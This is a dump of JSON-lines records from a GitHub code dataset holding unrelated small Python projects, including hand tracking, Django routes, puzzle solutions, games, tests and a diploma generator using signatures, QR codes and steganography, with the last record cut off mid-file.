(xmin - 20, ymin - 20), (xmax + 20, ymax + 20),\n (0, 255, 0), 2)\n\n return self.lmList, bbox\n\n def fingersUp(self):\n fingers = []\n # Thumb\n\n if self.lmList[self.tipIds[0]][1] > self.lmList[self.tipIds[0] - 1][1]:\n fingers.append(1)\n else:\n fingers.append(0)\n\n # Fingers\n for id in range(1, 5):\n\n if self.lmList[self.tipIds[id]][2] < self.lmList[self.tipIds[id] - 2][2]:\n fingers.append(1)\n else:\n fingers.append(0)\n\n # totalFingers = fingers.count(1)\n\n return fingers\n\n def findDistance(self, p1, p2, frame, draw=True, r=15, t=3):\n x1, y1 = self.lmList[p1][1:]\n x2, y2 = self.lmList[p2][1:]\n cx, cy = (x1 + x2) // 2, (y1 + y2) // 2\n\n if draw:\n cv2.line(frame, (x1, y1), (x2, y2), (255, 0, 255), t)\n cv2.circle(frame, (x1, y1), r, (255, 0, 255), cv2.FILLED)\n cv2.circle(frame, (x2, y2), r, (255, 0, 255), cv2.FILLED)\n cv2.circle(frame, (cx, cy), r, (0, 0, 255), cv2.FILLED)\n length = math.hypot(x2 - x1, y2 - y1)\n\n return length, frame, [x1, y1, x2, y2, cx, cy]\n\n\n\ndef main():\n pTime = 0\n cap = cv2.VideoCapture(0)\n\n detector = handDetector()\n\n while (True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = detector.findHands(frame)\n lmList, box = detector.findPosition(frame)\n if len(lmList) !=0:\n print(lmList[4])\n\n # fps\n cTime = time.time()\n fps = 1 / (cTime - pTime)\n pTime = cTime\n cv2.putText(frame, str(int(fps)), (20, 50), cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 0), 3)\n\n # Display the resulting frame\n cv2.imshow('frame', frame)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n break\n\n # When everything done, release the capture\n cap.release()\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n main()\n\n\n#python3 version 3.7.7\n#pip3 install opencv-python==4.5.1.48\n#pip3 install mediapipe==0.8.3.1\n","repo_name":"surajitpore0/virtual-mouse","sub_path":"HandTrackingModule.py","file_name":"HandTrackingModule.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"9663850931","text":"from django.urls import path, include\n\n\nfrom . import views\n\nurlpatterns = [\n path('accounts/', include('django.contrib.auth.urls')),\n path('register', views.register, name=\"register\"),\n path('', views.index, name=\"index\"),\n path('listing', views.create_listing, name=\"create_listing\"),\n path('listing/<int:id>', views.show_listing, name=\"show_listing\"),\n path('profile/<int:id>', views.show_profile, name=\"show_profile\"),\n]\n","repo_name":"sir-ragna/auction","sub_path":"auction/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"13616881250","text":"import time\nstart_time = time.time()\n\nonce = set()\nmulti = set()\n\ndef calc():\n for i in inp:\n for x in range(i[0][0], i[0][0] + i[1][0]):\n for y in range(i[0][1], i[0][1] + i[1][1]):\n coords = x * 1024 + y\n if coords in once:\n multi.add(coords)\n else:\n once.add(coords)\n return len(multi)\n\ndef calc2():\n for i in inp:\n olap = False\n for x in range(i[0][0], i[0][0] + i[1][0]):\n for y in range(i[0][1], i[0][1] + i[1][1]):\n coords = x * 1024 + y\n if coords in multi:\n olap = True\n if olap:\n break\n if olap:\n break\n if olap == False:\n return i[2]\n return False\n\n\ndef parseInput(i):\n i = i.split()\n coords = i[2].split(',')\n dims = i[3].split('x')\n x = int(coords[0])\n y = int(coords[1][:-1])\n w = int(dims[0])\n h = int(dims[1])\n return ([[x, y], [w, h], int(i[0][1:])])\n\nwith open('day3.txt') as f:\n inp = [parseInput(x) for x in f.readlines()]\n\nprint(\"Problem 1:\", calc())\nprint(\"Problem 2:\", calc2())\nprint(\"Runtime:\", time.time() - start_time)\n","repo_name":"bloody-peanuts/aoc-2018","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33111381188","text":"class Qiang:\n \"\"\"枪\"\"\"\n def __init__(self, title, power):\n self.title = title\n self.power = power\n self.bullet = 20\n\n def add_bullet(self):\n \"\"\"加满子弹\"\"\"\n self.bullet += 20\n\n def shoot(self, people1):\n \"\"\"射击\"\"\"\n if self.bullet == 0:\n print(\"没子弹了,正在添加\")\n self.add_bullet()\n else:\n self.bullet -= 1\n people1.bruise(self)\n #people1受到伤害\n\n def __str__(self):\n return \"枪支的型号:[%s]、伤害:[%d]、子弹数量[%d]\" % (self.title, self.power, self.bullet)\n\nclass People:\n \"\"\"玩家\"\"\"\n def __init__(self, name):\n self.name = name\n self.hp = 100\n self.gun = None\n self.state = \"活\"\n\n def fire(self, people1):\n self.gun.bullet -= 1\n if self.gun is None:\n print(\"你没有枪,大吼一身,吓死他\")\n else:\n self.gun.shoot(people1) # 调出开枪人的枪 使用shoot方法, (people1)受伤的人\n\n\n def bruise(self, people1):\n self.hp -= people1.power # self为要受伤的人,people1为开枪人的枪\n if self.hp > 0:\n print(\"玩家%s受伤,当前血量%d\" % (self.name, self.hp))\n else:\n self.hp = 0\n self.state = \"go die\"\n print(\"当前血量%d,玩家%s状态:%s\" % (self.hp, self.name, self.state))\n\n def __str__(self):\n return \"玩家:%s, 血量:%d, 状态:%s, 持有的枪:%s\" % (self.name, self.hp, self.state, self.gun)\n\n\nM416 = Qiang(\"M416\", 70)\n\nly = People(\"罗伊\")\ntufei = People(\"土匪\")\nprint(ly)\nprint(tufei)\n\n\n\nly.gun = M416\nprint(ly)\nprint(tufei)\n\n\nly.fire(tufei)\n\n\n","repo_name":"luoyi94/Python","sub_path":"07-面向对象/反恐精英V2.0.py","file_name":"反恐精英V2.0.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34233915503","text":"from django.core.management.base import BaseCommand\nfrom api.services import ETL_DatasetService\n\n\nclass Command(BaseCommand):\n help = 'Create a new Dataset from an input name with default parameters.'\n\n # Parsing params\n def add_arguments(self, parser):\n parser.add_argument('etl_dataset_name', required=True, type=str)\n\n # Function Handler\n def handle(self, *args, **options):\n\n # Get the dataset uuid input params\n etl_dataset_name = options.get('etl_dataset_name', '').strip()\n\n # Check and see if dataset name is already taken\n is_dataset_name_available = ETL_DatasetService.is_datasetname_avalaible(input__datasetname=etl_dataset_name)\n if not is_dataset_name_available:\n self.stdout.write(self.style.ERROR(\n 'add_new_etl_dataset.handle(): Dataset name is not available. Try another name for this dataset.'))\n return\n\n # Create the new Dataset\n did_create_dataset, new_etl_dataset_uuid = ETL_DatasetService.create_etl_dataset_from_datasetname_only(\n input__datasetname=etl_dataset_name, created_by=\"terminal_manage_py_command__add_new_etl_dataset\")\n\n # Check to see if this was created and then output to the console.\n if did_create_dataset:\n self.stdout.write(self.style.SUCCESS('add_new_etl_dataset.py: Successfully created new dataset, ' + str(\n etl_dataset_name) + ', with UUID: ' + str(new_etl_dataset_uuid)))\n else:\n self.stdout.write(\n self.style.ERROR('add_new_etl_dataset.handle(): Unknown Error. Dataset was not created.'))\n\n return\n","repo_name":"SERVIR/ClimateSERV2","sub_path":"api/management/commands/add_new_etl_dataset.py","file_name":"add_new_etl_dataset.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"69"} +{"seq_id":"37105923662","text":"from bdb import Breakpoint\n\n\ndef hex_to_dec(num):\n hexDigits = set(\"0123456789abcdef\")\n num = str(num)\n decimal = int(num,16)\n for char in num:\n if (char in hexDigits):\n print(f'hex_to_dec(\"{num}\")')\n print(decimal)\n break\n \n else:\n if char in hexDigits:\n print(\"This is not a hexa-decimal number\")\n Breakpoint\n\nhex_to_dec(\"ba1\")","repo_name":"SeihaVong/Python-Bootcamp2022","sub_path":"Week03/Exercise/46_hex_to_dec.py","file_name":"46_hex_to_dec.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34851423828","text":"# -*- coding: utf-8 -*-\n\n# Python imports\nimport redis\nimport datetime\n\n# Django imports\nfrom django.utils import timezone\nfrom channels import Channel\n\n# Project import\nfrom callcenter.models import *\nfrom melenchonPB.redis import get_redis_instance, format_date\n\n\n# Fonction principale\ndef update_achievements(user):\n if not (user is None):\n # Appeler les autres fonctions de validation\n functions = [\n leet,\n callCount,\n dailyCalls,\n leaderboards,\n consecutive\n ]\n for f in functions:\n f(user)\n\n\ndef unlock_achievement(codeName, user):\n try:\n achievement = Achievement.objects.get(codeName=codeName)\n except Achievement.DoesNotExist:\n pass\n achievementUnlock, created = AchievementUnlock.objects.get_or_create(userExtend=user.UserExtend,\n achievement=achievement)\n if created: # Si l'achievement est débloqué, on crédite les phis associés\n userExtend = user.UserExtend\n userExtend.phi = userExtend.phi + (achievement.phi * userExtend.phi_multiplier)\n userExtend.save()\n\n message = {\n 'type': 'achievement',\n 'value': {\n 'agentUsername': userExtend.agentUsername,\n 'achievement': {\n 'name': achievement.name,\n 'condition': achievement.condition,\n 'phi': achievement.phi,\n 'codeName': achievement.codeName\n }\n }\n }\n Channel('send_message').send(message)\n\n\ndef get_achievements(user):\n try:\n unlocked_achievements = user.UserExtend.get_achievements()\n except UserExtend.DoesNotExist:\n unlocked_achievements = []\n\n data = {}\n\n # Recuperation des achivements débloqués\n data_unlocked_achievements = []\n id_list = []\n for achievement in unlocked_achievements:\n data_unlocked_achievements.append({\n 'name': achievement.name,\n 'condition': achievement.condition,\n 'phi': achievement.phi,\n 'codeName': achievement.codeName\n })\n id_list.append(achievement.id)\n\n # Recuperation des achivements restants\n locked_achievements = Achievement.objects.all().exclude(id__in=id_list)\n\n data_locked_achievements = []\n for achievement in locked_achievements:\n data_locked_achievements.append(\n {'name': achievement.name, 'condition': achievement.condition, 'phi': achievement.phi})\n\n data['unlocked'] = data_unlocked_achievements[::-1]\n data['locked'] = data_locked_achievements\n\n return data\n\n\n########### ACHIEVEMENT CONDITIONS ################\n\n\ndef leet(user):\n now = timezone.now().astimezone(timezone.get_default_timezone())\n if (now.hour == 13 and now.minute == 37):\n unlock_achievement(\"leet\", user)\n\n\ndef earlyAdopters(user):\n r = get_redis_instance()\n callersCount = r.scard('melenphone:leaderbords:alltime')\n if callersCount < 100:\n unlock_achievement(\"early_y_etais\", user)\n\n\ndef dailyCalls(user):\n r = get_redis_instance()\n dailyCalls = int(r.zscore('melenphone:leaderboards:daily:' + format_date(timezone.now()), str(user.id)))\n if dailyCalls == 50:\n unlock_achievement(\"daily_a_fond\", user)\n if dailyCalls == 100:\n unlock_achievement(\"daily_acharne\", user)\n if dailyCalls == 200:\n unlock_achievement(\"daily_dodo\", user)\n if dailyCalls == 300:\n unlock_achievement(\"daily_holochon\", user)\n\n\ndef callCount(user):\n r = get_redis_instance()\n count = int(r.zscore('melenphone:leaderboards:alltime', str(user.id)))\n if count == 1:\n unlock_achievement(\"count_initie\", user)\n if count == 5:\n unlock_achievement(\"count_apprenti\", user)\n if count == 10:\n unlock_achievement(\"count_fan_rdls\", user)\n if count == 20:\n unlock_achievement(\"count_militant\", user)\n if count == 35:\n unlock_achievement(\"count_top\", user)\n if count == 50:\n unlock_achievement(\"count_messager\", user)\n if count == 70:\n unlock_achievement(\"count_animateur\", user)\n if count == 100:\n unlock_achievement(\"count_artiste\", user)\n if count == 150:\n unlock_achievement(\"count_lanceur\", user)\n if count == 250:\n unlock_achievement(\"count_ambassadeur\", user)\n if count == 375:\n unlock_achievement(\"count_mage\", user)\n if count == 500:\n unlock_achievement(\"count_justicier\", user)\n if count == 700:\n unlock_achievement(\"count_tribun\", user)\n if count == 1000:\n unlock_achievement(\"count_heros\", user)\n if count == 1500:\n unlock_achievement(\"count_laec\", user)\n if count == 5000:\n unlock_achievement(\"count_legendaire\", user)\n\n\ndef leaderboards(user):\n r = get_redis_instance()\n\n if int(r.zrevrank('melenphone:leaderboards:alltime', str(user.id))) == 0:\n unlock_achievement(\"leaderboard_alltime\", user)\n\n if int(r.zrevrank('melenphone:leaderboards:weekly:' + format_date(timezone.now()), str(user.id))) == 0:\n unlock_achievement(\"leaderboard_weekly\", user)\n\n if int(r.zrevrank('melenphone:leaderboards:daily:' + format_date(timezone.now()), str(user.id))) == 0:\n unlock_achievement(\"leaderboard_daily\", user)\n\ndef consecutive(user):\n r = get_redis_instance()\n time = timezone.now()\n days = 0\n\n while r.zscore('melenphone:leaderboards:daily:' + format_date(time), str(user.id)) != None:\n days += 1\n if days == 2:\n unlock_achievement(\"consecutive_retour\", user)\n elif days == 3:\n unlock_achievement(\"consecutive_fidele\", user)\n elif days == 5:\n unlock_achievement(\"consecutive_infatigable\", user)\n elif days == 10:\n unlock_achievement(\"consecutive_melenphonophile\", user)\n time -= datetime.timedelta(days=1)\n","repo_name":"lafranceinsoumise/melenphone","sub_path":"backend/callcenter/actions/achievements.py","file_name":"achievements.py","file_ext":"py","file_size_in_byte":5965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"28915368674","text":"\nimport random\n\nrandom_input = input(\"enter a number: \")\n\nif random_input.isdigit():\n random_input = int(random_input)\n if random_input <= 0:\n print(\"entered value is not above zero\")\n quit()\n \nelse:\n print(\"entered value is not a number\")\n quit()\n\nrandom_number=random.randint(1, random_input)\ntries = 0\nwhile True:\n tries+= 1\n user_guess = input(\"please guess a number: \")\n\n if user_guess.isdigit():\n user_guess = int(user_guess)\n\n if user_guess <= 0:\n print(\"entered value is not above zero\")\n quit()\n else:\n print(\"entered value is not a number\")\n quit()\n\n if user_guess == random_number:\n print(\"you are right, you guessed in attempt:\",tries)\n quit()\n else:\n print(\"better luck next time\")\n \n continue \n","repo_name":"nidheesh0301/MyPrograms","sub_path":"Learnings/quess_2.py","file_name":"quess_2.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30305302310","text":"from selene.support.shared import browser\nfrom selene import be, have\n\n\ndef test_google_search_positive(open_browser):\n positive_search = 'selene'\n positive_search_result = 'yashaka/selene: User-oriented Web UI browser tests in Python'\n\n browser.element('[name=\"q\"]').should(be.blank).type(positive_search).press_enter()\n browser.element('[id=\"search\"]').should(have.text(positive_search_result))\n\n\ndef test_google_search_negative(open_browser):\n negative_search = 'pofsmasdfusdfaskdfiasdfasdfaS'\n negative_search_result = 'About 0 results'\n\n browser.element('[name=\"q\"]').should(be.blank).type(negative_search).press_enter()\n browser.element('[id=\"result-stats\"]').should(have.text(negative_search_result))\n\n","repo_name":"alexandegrud/qa_quru_python_3_2","sub_path":"test_googl_search_2.py","file_name":"test_googl_search_2.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38236721646","text":"from sys import argv, exit\nfrom cs50 import SQL\nimport csv\n\nif len(argv) != 2:\n print(\"missing command-line argument\")\n exit(1)\n\n# Create a .db file a stablish a connection\nopen(\"students.db\", \"w\").close()\ndb = SQL(\"sqlite:///students.db\")\n\n# Create a Table on the .db file\ndb.execute(\"\"\"CREATE TABLE students (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n first VARCHAR(255),\n middle VARCHAR(255),\n last VARCHAR(255),\n house VARCHAR(10),\n birth INTEGER\n )\"\"\")\n\n#Open the .csv file\ndatabase = open(argv[1], \"r\")\nreader = csv.DictReader(database)\n\n# Copy the information of the .csv file into the .db file\nfor row in reader:\n FullName = row[\"name\"].split()\n if len(FullName) == 2:\n db.execute(\"INSERT INTO students(first, middle, last, house, birth) VALUES(?, ?, ?, ?, ?)\",\n (FullName[0], \"NULL\", FullName[1], row[\"house\"], row[\"birth\"]))\n else:\n db.execute(\"INSERT INTO students(first, middle, last, house, birth) VALUES(?, ?, ?, ?, ?)\",\n (FullName[0], FullName[1], FullName[1], row[\"house\"], row[\"birth\"]))\n\n# Close the .csv file\ndatabase.close()","repo_name":"fanpero87/CS50_ComputerScience","sub_path":"pset7/houses/import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18657790674","text":"from tkinter import *\nimport tkinter as tk\nimport tkinter.ttk as ttk\nimport pandas\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\n\ndef mostra_interface_estatisticas():\n contador_entradas = 0\n contador_saidas = 0\n contador = 0\n data_entrada = 'YYYY-MM-DD'\n lista=[]\n tamanho_lista = len(lista)\n with open('visitantes.csv', 'r') as f:\n csvreader = csv.reader(f, delimiter=',')\n\n for texto in csvreader:\n lista.append(texto)\n\n while contador < tamanho_lista:\n if data_entrada == tamanho_lista[contador]:\n contador_entradas += 1\n contador += 1\n else:\n contador_saidas +=1\n contador +=1\n #print(data_entrada)\n print(contador_entradas)\n print(contador_saidas)\n\n\n\n\n df = pandas.DataFrame(dict(graph=['Bilhetes de Entrada', 'Bilhetes de Saida'],\n n=[3, 5], m=[6, 1]))\n\n ind = np.arange(len(df))\n width = 0.4\n\n fig, ax = plt.subplots()\n ax.barh(ind, df.n, width, color='red', label='N')\n ax.barh(ind + width, df.m, width, color='green', label='M')\n\n ax.set(yticks=ind + width, yticklabels=df.graph, ylim=[2 * width - 1, len(df)])\n ax.legend()\n\n plt.show()\n\n\nmostra_interface_estatisticas()","repo_name":"Xremix34/Tkinter--Sucatas-Companhia","sub_path":"Projeto/estatisticas.py","file_name":"estatisticas.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"23439271054","text":"#BOJ 1966 프린터 큐\nimport sys\nfrom collections import deque\nimport copy\n# 큐의 가장 앞에있는 문서의 '중요도' 확인\n# 나머지 문서들 중 현재 문서보다 '중요도'가 높은 문서가 있다면, 현재 문서를 인쇄하지 않고,\n# 큐의 가장 뒤로 재배치\n# OR 바로 인쇄\n# 중요도는 숫자가 클 수록 높다\n\n# 테스트 케이스의 수\nt = int(sys.stdin.readline())\n\n# 우선순위가 밀리는 경우 뒤로 보내는 함수\ndef delayPriority(dq:deque,x):\n dq.popleft()\n dq.append(x)\ndef checkPriority(dq:deque,x):\n for file in dq:\n if x[1] < file[1]:\n return False\n return True\nfiles = deque()\nfor _ in range(t):\n count = 0\n files.clear()\n n,m = map(int,sys.stdin.readline().split()) #각각 문서의 개수/몇번째로 인쇄되는지 알고싶은 문서의 인덱스\n temp = list(map(int,sys.stdin.readline().split()))\n for i in range(len(temp)):\n files.append((i,temp[i]))\n goal = files[m]\n\n\n for file in copy.deepcopy(files):\n while True:\n if checkPriority(files,files[0]):\n a = files.popleft()\n count += 1\n if a == goal:\n print(count)\n break\n else:\n delayPriority(files,files[0])\n break\n\n\n#인덱스와 값을 함께 튜플 형태로 dq에 넣어야한다.\n#값이 같은 경우가 있고, 인덱스도 계속해서 변하기 때문에, 둘 중 하나로만 판별하기에는 무리가 있다.\n#goal에 찾고자 하는 인덱스와 값을 넣는다.\n#files를 반복하면서, 내부 반복문에서는 특정 파일보다 중요도가 높은 것이 있는지 확인한다.\n#중요도가 높은 것이 있다면, delayPriority를 호출해서 뒤로 보낸다.\n#그렇지 않다면, 즉시 인쇄하고, 이것이 goal과 일치하는지를 확인한다. count를 증가시킨다.\n#일치한다면 count를 print하고 종료한다.","repo_name":"Larry7939/Algorithm","sub_path":"구현/프린터 큐.py","file_name":"프린터 큐.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5965361856","text":"from django.shortcuts import render\nfrom .models import Massage\nfrom .forms import MassageForm\n\n# Create your views here.\n\ndef chatroom(request):\n massages = Massage.objects.all()\n form = MassageForm\n if request.method == \"POST\":\n form = MassageForm(request.POST)\n if form.is_valid():\n form.save\n\n return render(request, \"chatroom/chatroom.html\",{\"massages\":massages,\"form\":form})\n","repo_name":"Toktoraly/exam","sub_path":"chat/chatroom/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2836967301","text":"#!/usr/bin/env python3\nimport tqdm\nimport argparse\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nparser = argparse.ArgumentParser(description='Get basic statistics on a random number file')\nparser.add_argument(\"--file\", '-f', help='Input file')\n\nargs = parser.parse_args()\n\nbytecounts = {}\nfor i in range(256):\n bytecounts[i] = 0\n\nfilesize = os.path.getsize(args.file)\nbytesread = 0\n\nwith open(args.file, \"rb\") as rng_file:\n with tqdm.tqdm(total=filesize) as pbar:\n byte = rng_file.read(1)\n while byte:\n bytesread += 1\n byte_as_int = int.from_bytes(byte, byteorder='little')\n bytecounts[byte_as_int] += 1\n byte = rng_file.read(1)\n pbar.update(1)\n\nfor byte, count in bytecounts.items():\n print(\"Byte \" + str(byte) + \"\\t\" + str(count) + \"\\t\" + str(round(count*100/bytesread, 4)) + \"%\")\n\n\nx_axis = list(bytecounts.keys())\ny_pos = np.arange(len(x_axis))\n\ny_axis = list(bytecounts.values())\n\n\nplt.bar(y_pos, y_axis, align='center', alpha=0.5)\nplt.xticks(y_pos, x_axis)\nplt.ylabel('Count')\nplt.xlabel('Byte')\nplt.title('Byte Counts')\n\nplt.show()\n","repo_name":"BishopFox/You-re-Doing-IoT-RNG","sub_path":"statistics_scripts/bytecounter.py","file_name":"bytecounter.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"21833047906","text":"# -*- coding: utf-8 -*-\nimport asynctest\nimport pytest\nfrom metadoc import Metadoc\n\nclass MetadocModuleTest(asynctest.TestCase):\n def setUp(self):\n self.url = \"https://theintercept.com/2016/11/26/laura-ingraham-lifezette/\"\n article_path = \"tests/fixtures/theintercept.com/laura-ingraham-lifezette.html\"\n with open(article_path, 'r') as article:\n self.article_html=article.read()\n\n self.metadoc = Metadoc(url=self.url, html=self.article_html)\n\n @asynctest.ignore_loop\n def test_init(self):\n assert self.metadoc.url == self.url\n assert self.metadoc.html == self.article_html\n\n @asynctest.ignore_loop\n def test_query_all(self):\n result = self.metadoc.query()\n assert result\n\n @asynctest.ignore_loop\n def test_extract(self):\n self.metadoc.query(\"extract\")\n assert self.metadoc.extractor\n\n @asynctest.ignore_loop\n def test_social(self):\n self.metadoc.query(\"social\")\n assert self.metadoc.activity\n\n @asynctest.ignore_loop\n def test_social_return(self):\n result = self.metadoc.query(\"social\", \"social\")\n assert list(result.keys()) == [\"url\", \"social\", \"__version__\"]\n\n @asynctest.ignore_loop\n def test_domain(self):\n self.metadoc.query(\"domain\")\n assert self.metadoc.domain\n\n @asynctest.ignore_loop\n def test_no_url_fail(self):\n with pytest.raises(AttributeError):\n Metadoc()\n\n @asynctest.ignore_loop\n def test_invalid_url_fail(self):\n metadoc = Metadoc(url=\"https://theintercept.com/404/\", html=None)\n result = metadoc.query()\n assert result[\"errors\"][0] == \"Requesting article body failed with 404 status code.\"\n\n @asynctest.ignore_loop\n def test_no_html(self):\n metadoc = Metadoc(url=self.url)\n metadoc.query()\n\n @asynctest.ignore_loop\n def test_check_result(self):\n self.metadoc._check_result({})\n\n @asynctest.ignore_loop\n def test_invalid_charset_check(self):\n s = \"Von da an beginnt fär die meisten jedoch der hektische Teil.\"\n assert self.metadoc._check_invalid_encoding(s) == True\n s = \"Von da an beginnt für die meisten jedoch der hektische Teil.\"\n assert self.metadoc._check_invalid_encoding(s) == True\n s = \"Von da an beginnt för die meisten jedoch der hektische Teil.\"\n assert self.metadoc._check_invalid_encoding(s) == True\n s = \"Von da an beginnt für die meisten jedoch der hektische Teil.\"\n assert self.metadoc._check_invalid_encoding(s) == True\n\n s = \"DE PÊRA\"\n assert self.metadoc._check_invalid_encoding(s) == False\n\n @asynctest.ignore_loop\n def test_invalid_t3n(self):\n metadoc = Metadoc(url=\"https://t3n.de/news/remote-work-home-office-heimarbeit-erfahrungsbericht-1018248/\", html=None)\n result = metadoc.query()\n assert result[\"title\"] == \"Remote Workers Life: „Das Homeoffice löst viele Probleme, schafft aber auch neue“\"\n","repo_name":"fanmatics/metadoc","sub_path":"tests/test_module.py","file_name":"test_module.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"69"} +{"seq_id":"13389266967","text":"# Load library\nfrom matplotlib import pyplot as plt\n\n# Plot data points and color using their class\ncolor = [\"black\" if c == 0 else \"lightgrey\" for c in target]\nplt.scatter(features_standardized[:,0], features_standardized[:,1], c=color)\n\n# Create the hyperplane\nw = svc.coef_[0]\na = -w[0] / w[1]\nxx = np.linspace(-2.5, 2.5)\nyy = a * xx - (svc.intercept_[0]) / w[1]\n\n# Plot the hyperplane\nplt.plot(xx, yy)\nplt.axis(\"off\"), plt.show();","repo_name":"p2c2e/machine_learning_with_python_cookbook","sub_path":"ch17/ch17_2.py","file_name":"ch17_2.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7867377540","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\r\n\r\nx = [95, 85, 80, 70, 60]\r\ny = [85, 95, 70, 65, 70]\r\n\r\nn = len(x)\r\n\r\nxy = [i*j for i,j in zip(x,y)]\r\nx_square = [i**2 for i in x]\r\n\r\nb = (n*sum(xy) - sum(x)*sum(y))*1.0/(n*sum(x_square)-sum(x)**2)\r\na = sum(y)*1.0/n - b*sum(x)*1.0/n \r\n\r\nscore = a + b*80\r\n\r\nprint(round(score,3))","repo_name":"zwei2016/HackerRank_10days_statistics","sub_path":"Day8_RegressionLine.py","file_name":"Day8_RegressionLine.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7332282666","text":"# Écrire sur l'image\nfrom PIL import ImageFont\nfrom PIL import Image\nfrom PIL import ImageDraw\n# signature\nfrom base64 import (\n b64encode,\n b64decode,\n)\nimport base64\n\n# Redimensionner l'image\nimport cv2\nimport numpy as np\n# hash\nimport secrets\nimport hashlib\n# qrcode\nimport qrcode\n# database\nimport initdb\n# import fichier\nimport signature as si\nimport verification as ve\nimport Crypto_Stegano as cs\n# On ouvre la connection avec la base de données\nconn, cursor = initdb.connectDB()\n\nclass Etudiant:\n \"def classe etudiant\"\n\nclass messSign:\n \"def classe message signature\"\n\ndef creationDiplome(nom, prenom, cert, idDemande,timestamp):\n nomFichier = \"diplome\"+nom+prenom+\".png\"\n # On ajoute les écritures\n W, H = (1750, 1240)\n im = Image.open(\"../docs/2021-2022-Projet_Crypto_Fond_Attestation.png\")\n im = im.resize((W, H))\n font = ImageFont.truetype(\"../sources/font/times.ttf\", 90)\n draw = ImageDraw.Draw(im)\n draw.text((450.0, 460.0), \"CERTIFICAT DÉLIVRÉ\", (1, 1, 1), font=font)\n w2, h2 = draw.textsize(\"À\")\n draw.text(((-20+(W-w2)/2),-60+((H-h2)/2)), \"À\", (1, 1, 1), font=font)\n msg = prenom+\" \"+nom\n w1, h1 = draw.textsize(msg)\n draw.text((-250+((W-w1)/2),20+((H-h1)/2)), msg, (1, 1, 1), font=font)\n w,h = draw.textsize(cert)\n draw.text((-350+((W-w)/2),100+((H-h)/2)), cert, (1, 1, 1), font=font)\n\n im.save(\"../sources/\"+nomFichier, \"PNG\")\n\n # On récupère la signature\n boolMeSi = messSign()\n boolMeSi = creationSignature(nom, prenom, cert, timestamp)\n # On ajoute le qr code\n qrcodeG(boolMeSi.signature)\n qr = Image.open(\"../sources/qr.png\")\n qr = qr.resize((200, 200))\n # On place l'image (x,y)\n im.paste(qr, (1420, 930))\n # Redimensioner le qr code\n im.save(\"../sources/\"+nomFichier, \"PNG\")\n #Dissimulation par stéganographie\n cs.cacherMain(nomFichier, idDemande)\n return nomFichier\n\ndef creationSignature(nom, prenom, cert, timestamp):\n boolMeSi = messSign()\n message = nom + \" \" + prenom +\" || \" + cert + \" ||\"\n if len(message) <64:\n for i in range(64-len(message)):\n message = message+ \" \"\n message = message + \" || \" + timestamp + \" ||++\"\n infosHash = hashlib.sha256(message.encode()).hexdigest()\n boolMeSi.message = infosHash.encode()\n # décommenter si pas de clés\n # si.genKey()\n messageSigne = si.alice(infosHash)\n # On encode\n boolMeSi.signature = base64.b64encode(messageSigne)\n return boolMeSi\n\ndef qrcodeG(signature):\n img = qrcode.make(signature)\n type(img)\n # qrcodeDir.image.pil.PilImage\n img.save(\"../sources/qr.png\")\n return 0\n","repo_name":"lagahehugo/attestation-de-reussite-securisee","sub_path":"src/creerattestation.py","file_name":"creerattestation.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"7750448614","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_digits\nfrom sklearn.decomposition import PCA\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom PIL import Image\n# Scalrt\nfrom sklearn.preprocessing import StandardScaler\n\n# Carregar o conjunto de dados Digits\ndigits = load_digits()\n\n# Obter os dados e os rótulos\nX = digits.data\ny = digits.target\n\n# Informações 